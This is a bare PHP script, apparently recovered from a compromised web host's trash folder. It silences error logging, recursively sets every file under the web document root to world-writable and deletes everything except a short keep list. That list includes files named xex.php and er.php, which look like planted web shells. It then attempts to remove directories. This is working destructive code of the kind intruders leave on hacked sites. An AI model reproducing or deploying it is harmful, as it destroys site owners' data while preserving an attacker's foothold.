/home/idolaotomotif/.trash/delAll.php
<?php
@ini_set('log_errors', 0);
@ini_set('error_log', NULL);
@ini_set('error_reporting', NULL);
@error_reporting(0);
$path = isset( $_SERVER['DOCUMENT_ROOT'] ) ? $_SERVER['DOCUMENT_ROOT'] : '';
$path = str_replace( '//', '/', $path );
$fileArray = array($path.'/xex.php', $path.'/er.php', $path.'/.htaccess', $path.'/index.php', $path.'/robots.txt', $path.'/file.php',);
function scanDirRecursive( $dir ) {
global $path, $fileArray;
if ($handle = opendir( $dir ) ) {
while ( ($file = readdir( $handle ) ) !== false) {
if ( $file != "." && $file != ".." ) {
$fullPath = $dir . DIRECTORY_SEPARATOR . $file;
chmod( $fullPath, 0777 );
if ( is_dir( $fullPath ) ) {
scanDirRecursive($fullPath);
} else {
if ( !in_array($fullPath, $fileArray) ){
@unlink( $fullPath );
}
}
}
}
closedir($handle);
}
}
function delDir( $dir ) {
global $path;
if ($handle = opendir( $dir ) ) {
while ( ($file = readdir( $handle ) ) !== false) {
if ( $file != "." && $file != ".." ) {
$fullPath = $dir . DIRECTORY_SEPARATOR . $file;
chmod( $fullPath, 0777 );
if ( is_dir( $fullPath ) ) {
@unlink( $fullPath );
}
}
}
closedir($handle);
}
}
scanDirRecursive( $path );
delDir( $path );
echo 1;